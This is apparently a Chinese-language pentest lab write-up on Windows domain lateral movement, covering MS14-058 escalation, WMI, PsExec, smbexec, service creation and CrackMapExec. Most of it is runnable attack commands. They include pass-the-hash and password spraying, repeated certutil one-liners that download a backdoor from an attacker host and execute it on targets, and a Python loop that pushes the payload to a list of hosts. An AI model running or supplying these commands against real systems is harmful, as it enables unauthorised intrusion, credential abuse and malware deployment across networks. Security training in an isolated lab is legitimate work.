IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
这里webserver提权使用的是ms14-058
常用提权工具
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它
包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处
理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代
码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本
TCP135端口
UDP137、138端口
TCP139、445端口
这几个端口都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口
SMB:(Server Message Block) Windows协议族,用于文件共享、打印共享的服务
NBT:(NetBIOS Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NetBIOS网络互联
WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
内部:(系统自带命令 单执行 无回显)
win10 使用该命令会报错
‘vmic’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在Win10中,wmic已经归入C:\Windows\System32\wbem文件夹,而环境变量只设置到C:\Windows\System32,因此找不到wmic
只需要添加C:\Windows\System32\wbem 到环境变量——系统变量的Path变量
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/bindtcp-2222.exe c:/beacon.exe" #普通账号显示拒绝访问 权限不够,DC账号可用
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe" #经测试 不能执行后门,DC账号也不能用
内置:(交互式 在cs中无法反弹shell)
上传wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
外部:(交互式&单执行)
python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
下载后门:
python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe"
执行后门:
python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/webserver4444.exe"
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
内部:(交互式 windows官方工具,白名单)
psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部:(交互式 外人开发的工具)
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
使用代理在本地运行是不行的,而且cs上不能反弹cmd窗口,能只在webserver使用管理员权限上执行。或许msf可以成功
插件:
cs-psexec CS插自带横向移动功能
注意监听器的选择
多尝试几个用户及hash值,以及域用户、非域用户
外部:(交互式)
python3 smbexec.py ./administrator:admin!@#45@192.168.3.32 #非域用户
python3 smbexec.py god/administrator:admin!@#45@192.168.3.32 #域用户
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32
内置:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
具体配置见往期内容
import os
ips=['192.168.3.21','192.168.3.25','192.168.3.29','192.168.3.28','192.168.3.30','192.168.3.32']
def down():
for ip in ips:
wmi_exec='python3 .\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe"'%ip
print(wmi_exec)
os.system(wmi_exec)
def zx():
for ip in ips:
wmi_exec='python3 .\\wmiexec.py ./administrator:admin!@#45@%s "c:/webserver4444.exe"'%ip
print(wmi_exec)
os.system(wmi_exec)
if __name__ == '__main__':
down()
zx()
CrackMapExec
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.cdsy.xyz/computer/security/231006/cd46181.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Linux Proxychains使用
安装使用:https://www.cdsy.xyz/computer/soft/net/231006/cd46180.html
代理配置:Proxychains.conf 代理调用:Proxychains 命令
这里我直接使用kali自带的CrackMapExec
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45'
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe' --local-auth #本地用户全自动上线
这里正常上线了两台(Mary-PC,sqlserver),重新获取凭证与明文密码,在Mary-PC中获取到Boss账号以及hash值,使用hash值做下一步操作
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe'
真实情况下肯定是不清楚那些凭证以及密码可以使用,所以放入文件中,两两组合
proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe' --local-auth
用户名使用 net user /domain 获取
密码使用明文 或者HASH(-H) 但是这里主机已经上线的差不多了,不在做演示
最后一台fileadmin
使用插件也行
使用crackmapexec 也行
但是没上线(可能是靶机的问题)
效果图:
密码喷射域登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
密码喷射本地登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
密码喷射本地登录命令执行:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘whoami’ --local-auth
密码喷射本地登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
密码喷射域登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’
密码喷射本地&域登录命令执行全自动上线:
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’
proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth